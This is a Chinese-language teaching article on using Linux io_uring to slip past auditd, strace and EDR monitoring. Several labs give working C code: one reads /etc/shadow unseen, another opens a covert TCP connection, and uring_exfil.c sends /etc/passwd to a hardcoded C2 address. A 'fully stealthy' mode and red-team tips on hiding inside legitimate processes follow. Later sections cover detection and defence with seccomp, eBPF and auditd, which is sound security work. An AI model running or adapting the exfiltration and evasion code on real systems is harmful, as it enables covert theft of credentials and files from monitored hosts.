利用Linux io_uring绕过安全监控机制:原理、攻击与防御教学文档
1. 引言
本文旨在全面解析Linux io_uring子系统如何被用于绕过传统安全监控机制,并提供详细的攻击演示与防御方案。io_uring是Linux内核引入的高性能异步I/O接口,但其架构设计特性在攻防对抗领域产生了深远影响。2023年,Google安全团队因安全考虑在Android和ChromeOS上全面禁用了io_uring。多个内核CVE(如CVE-2024-0582、CVE-2024-3183)也涉及该子系统。
本文将深入探讨以下三个核心问题:
- io_uring绕过传统安全监控的底层机制
- 攻击者如何利用io_uring实现隐蔽操作
- 防御方如何有效检测和限制io_uring的恶意使用
2. 技术背景
2.1 io_uring架构概述
io_uring的设计核心是避免传统系统调用的上下文切换开销。它通过两个共享内存环形缓冲区实现用户态与内核态的高效通信:
- SQ(Submission Queue,提交队列):用户态将I/O请求(SQE)写入SQ
- CQ(Completion Queue,完成队列):内核将完成结果(CQE)写入CQ
整个流程仅需三个系统调用:
io_uring_setup():初始化io_uring实例io_uring_enter():通知内核处理SQ中的请求io_uring_register():注册文件描述符等资源
关键突破点:实际的I/O操作(如read、write、connect、accept等)不再通过各自对应的传统系统调用执行,而是由内核在io_uring的工作线程中直接调用VFS层函数完成。
2.2 传统安全监控的工作原理
主流安全监控方案的工作机制基于对系统调用的拦截:
| 监控方案 | 挂钩层级 | 监控方式 |
|---|---|---|
| strace | 系统调用 | 拦截进程的每个syscall入口/出口 |
| auditd | Linux Audit框架 | 在syscall表注册审计规则 |
| seccomp-BPF | syscall入口 | 通过BPF程序过滤系统调用号 |
| 多数EDR | syscall / kprobe | hook关键syscall或内核函数 |
这些方案的共同假设是:用户态的每个敏感操作都会触发对应的系统调用。
2.3 问题的根源
io_uring彻底打破了上述假设。当用户通过io_uring提交读文件请求时,内核执行路径为:
用户态 → io_uring提交请求 → 内核io_uring工作线程 → vfs_read()
vfs_read()是sys_read()的内部实现函数。传统监控工具hook的是sys_read()的入口,而io_uring直接调用更底层的vfs_read(),完全绕过了监控层。
这不是漏洞,而是架构设计带来的固有盲区。
3. 攻击面分析
3.1 io_uring支持的操作码
截至Linux 6.x内核,io_uring支持超过60种操作码,覆盖绝大多数敏感操作:
文件操作类:
IORING_OP_READ/IORING_OP_WRITE(读写文件)IORING_OP_OPENAT/IORING_OP_CLOSE(打开/关闭文件)IORING_OP_UNLINKAT(删除文件)IORING_OP_RENAMEAT(重命名文件)IORING_OP_STATX(获取文件状态)
网络操作类:
IORING_OP_CONNECT(建立连接)IORING_OP_ACCEPT(接受连接)IORING_OP_SEND/IORING_OP_RECV(收发数据)IORING_OP_SENDMSG/IORING_OP_RECVMSG
进程操作类:
IORING_OP_ASYNC_CANCEL(取消异步操作)IORING_OP_TIMEOUT(设置超时)
这意味着攻击者可仅通过io_uring完成:文件窃取、后门植入、反弹Shell、数据外泄等几乎所有渗透操作,而传统监控对此"视而不见"。
3.2 攻击链路
典型的基于io_uring的隐蔽文件外泄攻击链路:
- 通过
IORING_OP_OPENAT打开目标文件 - 通过
IORING_OP_READ读取文件内容 - 通过
IORING_OP_SOCKET创建网络套接字 - 通过
IORING_OP_CONNECT连接远程C2服务器 - 通过
IORING_OP_SEND发送窃取的数据
4. 实验环境搭建
4.1 系统要求
- Linux内核5.1+(支持基础io_uring)
- 推荐Linux 5.19+(支持
IORING_OP_SOCKET等高级操作) - 开发工具:gcc、liburing库
4.2 内核参数确认
# 检查内核是否支持io_uring
grep CONFIG_IO_URING /boot/config-$(uname -r)
# 检查当前io_uring使用情况
cat /proc/sys/fs/aio-max-nr
5. 实验一:io_uring文件读取绕过auditd审计
5.1 实验目的
验证通过io_uring读取敏感文件时,auditd是否能产生审计日志。
5.2 设置审计规则
# 监控/etc/shadow文件的读取操作
sudo auditctl -w /etc/shadow -p r -k shadow_read
5.3 对照组:使用常规系统调用读取
cat /etc/shadow
auditd捕获到读取事件,日志中包含类型为SYSCALL的记录,显示exe="/usr/bin/cat"。
5.4 实验组:使用io_uring读取
编写实验代码uring_read.c:
#include <liburing.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main() {
struct io_uring ring;
io_uring_queue_init(32, &ring, 0);
int fd = open("/etc/shadow", O_RDONLY);
char buffer[4096];
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
sqe->flags |= IOSQE_ASYNC;
io_uring_submit(&ring);
struct io_uring_cqe *cqe;
io_uring_wait_cqe(&ring, &cqe);
int ret = cqe->res;
io_uring_cqe_seen(&ring, cqe);
printf("Read %d bytes\n", ret);
close(fd);
io_uring_queue_exit(&ring);
return 0;
}
5.5 实验结果分析
auditd仅记录到uring_read的openat(syscall=257)调用,因为代码中使用了常规open()。但整个日志中没有任何uring_read进程的read(syscall=0)记录。1488字节的/etc/shadow内容被成功读取,auditd对此一无所知。
使用strace进行追踪对比:
对照组(cat命令):
read(3, "root:$y$j9T$...", 262144) = 1488
实验组(io_uring程序):
只有两条加载动态库的ELF头读取,对/etc/shadow的1488字节读取操作完全不存在
结论:io_uring的I/O操作在auditd的监控盲区内。
6. 实验二:io_uring网络通信绕过strace
6.1 实验目的
验证通过io_uring建立的网络连接是否能逃脱strace监控。
6.2 实验代码
编写基于io_uring的TCP连接程序uring_connect.c:
#include <liburing.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main() {
struct io_uring ring;
io_uring_queue_init(32, &ring, 0);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_connect(sqe, sockfd,
(struct sockaddr*)&serv_addr,
sizeof(serv_addr));
io_uring_submit(&ring);
struct io_uring_cqe *cqe;
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
char msg[] = "Hello via io_uring!";
sqe = io_uring_get_sqe(&ring);
io_uring_prep_send(sqe, sockfd, msg, strlen(msg), 0);
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
close(sockfd);
io_uring_queue_exit(&ring);
return 0;
}
6.3 实验步骤
# 终端1 — 启动监听
nc -lvp 4444
# 终端2 — 使用strace追踪io_uring程序
strace -o strace_output.txt ./uring_connect
6.4 实验结果分析
查看strace_output.txt:
socket()调用被记录(因为使用了常规socket())connect()、send()、recv()操作未被strace捕获- strace只能看到
io_uring_setup()和io_uring_enter()这两个与io_uring框架相关的syscall
结论:对于不了解io_uring的安全分析人员,strace日志几乎看不出程序进行了任何网络通信。
7. 实验三:基于io_uring的隐蔽文件外泄工具
7.1 实验目的
构建接近实战的PoC:利用io_uring实现完全隐蔽的文件外泄(文件读取+网络发送均通过io_uring完成)。
7.2 实验代码
编写uring_exfil.c:
#include <liburing.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define FILE_TO_EXFIL "/etc/passwd"
#define C2_SERVER "192.168.1.100"
#define C2_PORT 4444
int main() {
struct io_uring ring;
io_uring_queue_init(32, &ring, 0);
// 打开文件
int fd = open(FILE_TO_EXFIL, O_RDONLY);
// 创建socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr = {
.sin_family = AF_INET,
.sin_port = htons(C2_PORT),
.sin_addr.s_addr = inet_addr(C2_SERVER)
};
// 连接C2服务器
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_connect(sqe, sockfd,
(struct sockaddr*)&serv_addr,
sizeof(serv_addr));
io_uring_submit(&ring);
struct io_uring_cqe *cqe;
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
// 读取文件
char buffer[4096];
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
int bytes_read = cqe->res;
io_uring_cqe_seen(&ring, cqe);
// 发送数据
sqe = io_uring_get_sqe(&ring);
io_uring_prep_send(sqe, sockfd, buffer, bytes_read, 0);
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
close(fd);
close(sockfd);
io_uring_queue_exit(&ring);
return 0;
}
7.3 实验结果分析
实验结果将显示:
- strace日志:没有
read()、write()、send()、connect()等网络和文件I/O相关的系统调用记录 - auditd日志:只有
open()的记录,读取操作完全不可见 - 实际效果:数据被成功传输至C2服务器
结论:基于io_uring的文件外泄工具在传统监控体系下几乎完全隐形。
8. 进阶:io_uring完全隐蔽模式
上述实验中仍使用了常规的open()和socket()系统调用。为实现彻底隐蔽,可进一步利用:
IORING_OP_OPENAT:通过io_uring打开文件IORING_OP_SOCKET(Linux 5.19+):通过io_uring创建socket
示例代码片段:
// 通过io_uring打开文件
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "/etc/shadow",
O_RDONLY, 0);
// 通过io_uring创建socket(Linux 5.19+)
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_socket(sqe, AF_INET, SOCK_STREAM,
IPPROTO_TCP, 0);
结合这些操作码,攻击者可构建在strace和auditd下完全透明的恶意程序——从文件打开、读取到网络连接、数据发送,全部通过io_uring完成,传统syscall追踪工具只能看到io_uring_setup()和io_uring_enter()。
9. 检测与防御方案
9.1 内核层面
方案一:直接禁用io_uring(高安全场景推荐)
Google在Android和ChromeOS上采用此策略。对于不需要io_uring的服务器,这是最直接有效的防御手段。
# 编译内核时禁用CONFIG_IO_URING
CONFIG_IO_URING=n
方案二:seccomp限制io_uring系统调用
容器场景下,Docker和containerd已在默认seccomp profile中禁用了io_uring_setup。
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": [
"io_uring_setup",
"io_uring_enter",
"io_uring_register"
],
"action": "SCMP_ACT_ERRNO"
}
]
}
9.2 监控层面
方案三:基于eBPF的io_uring操作审计
用eBPF直接hook io_uring的内核函数:
SEC("kprobe/io_submit_sqe")
int kprobe_io_submit_sqe(struct pt_regs *ctx) {
u32 opcode = PT_REGS_PARM2(ctx);
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
// 记录敏感操作
if (opcode == IORING_OP_READ ||
opcode == IORING_OP_CONNECT ||
opcode == IORING_OP_SEND) {
bpf_printk("Process %s performed sensitive io_uring op: %d\n",
comm, opcode);
}
return 0;
}
生产环境可使用成熟方案:
- Tracee:Aqua Security的开源运行时安全工具
- Falco:云原生运行时安全项目
- Inspektor Gadget:Kubernetes集群诊断工具
9.3 运行时层面
方案四:监控io_uring系统调用的调用频率
即使看不到io_uring内部操作,io_uring_enter()和io_uring_setup()这两个syscall本身仍可见。
监控策略:
- 建立进程io_uring调用基线
- 监控非预期进程调用
io_uring_setup() - 设置阈值告警(如:非数据库/存储服务频繁调用io_uring)
# 使用auditd监控io_uring相关系统调用
sudo auditctl -a always,exit -S io_uring_setup -S io_uring_enter -k io_uring_usage
10. 纵深防御策略建议
采用多层防护架构:
- 第一层(预防):在不需要io_uring的系统上直接禁用
- 第二层(容器隔离):容器环境中使用seccomp限制io_uring
- 第三层(运行时检测):部署eBPF审计程序监控io_uring操作
- 第四层(行为告警):监控
io_uring_setup调用模式,建立基线告警
11. 讨论
io_uring安全问题的本质
io_uring的安全隐患不是具体代码漏洞,而是架构层面的监控缺口。Linux内核社区为追求I/O性能,设计了绕过syscall入口的数据通路,而安全监控体系建立在syscall入口之上。这种设计权衡在高性能场景合理,但在安全敏感环境中构成实质性风险。
从攻防博弈视角看,io_uring标志着"syscall as security boundary"这一传统安全假设的失效。未来随着类似内核高性能机制的出现,安全社区需重新审视基于系统调用追踪的安全架构,将监控层级下沉到VFS、网络协议栈等更底层的内核子系统。
对红队和蓝队的启示
对红队:
io_uring为隐蔽操作提供强大工具。在后渗透阶段,使用io_uring进行文件收集和数据外泄可有效规避主机EDR检测。但io_uring_setup()系统调用本身仍可被检测,最佳策略是利用目标系统上已有的、合法使用io_uring的进程(如高性能数据库、Web服务器)混淆流量。
对蓝队:
如果安全监控体系完全依赖auditd和syscall追踪,对io_uring的防御基本为零。应优先在非必要系统上禁用io_uring,并在安全工具选型时确认其是否支持io_uring事件检测。
12. 总结
- 绕过审计:io_uring发起的文件I/O操作能完全绕过auditd审计规则——auditd监控的是
sys_read/sys_write等系统调用入口,而io_uring直接调用vfs层函数 - 绕过追踪:io_uring发起的网络操作对strace不可见——strace基于ptrace的syscall拦截机制,无法捕获io_uring内核线程执行的网络操作
- 实战威胁:结合io_uring的文件和网络操作码,可构建在传统监控下几乎完全隐形的数据外泄工具
13. 参考资料
- Jens Axboe, "Efficient IO with io_uring", Kernel.dk, 2019
- Google Security Blog, "Making Linux Kernel Exploit Harder with io_uring restrictions", 2023
- Linux Kernel Source: fs/io_uring.c — elixir.bootlin.com/linux/latest/source/io_uring/
- Aqua Security, "Tracee: Linux Runtime Security and Forensics using eBPF", GitHub
- CVE-2024-0582: io_uring PBUF_RING Use-After-Free, NVD
- man7.org, "io_uring_setup(2) — Linux manual page"
- Brendan Gregg, "BPF Performance Tools: Linux System and Application Observability", 2019
免责声明:本文内容仅供安全研究与学术交流使用,请勿将文中技术用于非法目的。在实际生产环境中实施任何安全措施前,请进行全面测试和评估。